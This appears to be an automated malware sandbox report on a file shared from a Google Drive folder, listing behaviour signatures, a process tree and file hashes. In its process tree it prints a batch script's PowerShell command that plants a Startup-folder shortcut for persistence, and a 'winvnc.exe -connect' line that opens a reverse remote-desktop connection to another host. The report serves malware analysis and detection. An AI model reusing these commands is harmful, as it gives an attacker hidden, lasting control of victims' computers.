Resubmissions

18-10-2024 19:58

241018-yp1yjsxdnq 6

08-08-2024 20:08

240808-yw17wsyerm 7

08-08-2024 20:06

240808-yvrl3ayeqj 7

Analysis

  • max time kernel
    83s
  • max time network
    82s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-08-2024 20:06

General

  • Target

    https://drive.google.com/drive/folders/1NVzGGH4q1Le3efqdY71-pMTbQQc_hcn2?usp=sharing

Score
7/10

Malware Config

Signatures

  • Drops startup file 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://drive.google.com/drive/folders/1NVzGGH4q1Le3efqdY71-pMTbQQc_hcn2?usp=sharing
    1⤵
      PID:5052
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --field-trial-handle=3872,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=4068 /prefetch:1
      1⤵
        PID:4556
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --field-trial-handle=5112,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=4624 /prefetch:1
        1⤵
          PID:2880
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=5432,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:8
          1⤵
            PID:2592
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --field-trial-handle=5448,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:8
            1⤵
              PID:1704
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --field-trial-handle=5892,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:2
              1⤵
                PID:2828
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --field-trial-handle=6332,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:8
                1⤵
                  PID:3600
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --field-trial-handle=6340,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:1
                  1⤵
                    PID:1676
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --field-trial-handle=6768,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=6772 /prefetch:1
                    1⤵
                      PID:644
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --field-trial-handle=6856,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:1
                      1⤵
                        PID:4492
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --field-trial-handle=6404,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=6688 /prefetch:1
                        1⤵
                          PID:5080
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --field-trial-handle=6632,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7104 /prefetch:8
                          1⤵
                            PID:4804
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --field-trial-handle=6444,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7232 /prefetch:1
                            1⤵
                              PID:4124
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --lang=en-US --service-sandbox-type=service --field-trial-handle=7416,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7428 /prefetch:8
                              1⤵
                                PID:2892
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --field-trial-handle=6948,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7748 /prefetch:1
                                1⤵
                                  PID:2284
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --field-trial-handle=7044,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7544 /prefetch:8
                                  1⤵
                                    PID:4844
                                  • C:\Windows\System32\rundll32.exe
                                    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                    1⤵
                                      PID:3328
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\client-20240808T200711Z-001\client\main.bat" "
                                      1⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:4444
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell "$s=(New-Object -COM WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.bat.lnk');$s.TargetPath='C:\Users\Admin\Downloads\client-20240808T200711Z-001\client\main.bat';$s.Save()"
                                        2⤵
                                        • Drops startup file
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2768
                                      • C:\Users\Admin\Downloads\client-20240808T200711Z-001\client\winvnc.exe
                                        winvnc.exe -run
                                        2⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of SendNotifyMessage
                                        PID:3328
                                      • C:\Windows\system32\timeout.exe
                                        timeout /t 1
                                        2⤵
                                        • Delays execution with timeout.exe
                                        PID:4552
                                      • C:\Users\Admin\Downloads\client-20240808T200711Z-001\client\winvnc.exe
                                        winvnc.exe -connect 192.168.1.36::4444
                                        2⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4436
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --field-trial-handle=8072,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7396 /prefetch:8
                                      1⤵
                                        PID:1440

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

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                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cihsgcfi.3lr.ps1

                                        Filesize

                                        60B

                                        MD5

                                        d17fe0a3f47be24a6453e9ef58c94641

                                        SHA1

                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                        SHA256

                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                        SHA512

                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                      • memory/2768-0-0x00007FFDBD1C3000-0x00007FFDBD1C5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2768-10-0x000002082E640000-0x000002082E662000-memory.dmp

                                        Filesize

                                        136KB

                                      • memory/2768-11-0x00007FFDBD1C0000-0x00007FFDBDC81000-memory.dmp

                                        Filesize

                                        10.8MB

                                      • memory/2768-12-0x00007FFDBD1C0000-0x00007FFDBDC81000-memory.dmp

                                        Filesize

                                        10.8MB

                                      • memory/2768-16-0x00007FFDBD1C0000-0x00007FFDBDC81000-memory.dmp

                                        Filesize

                                        10.8MB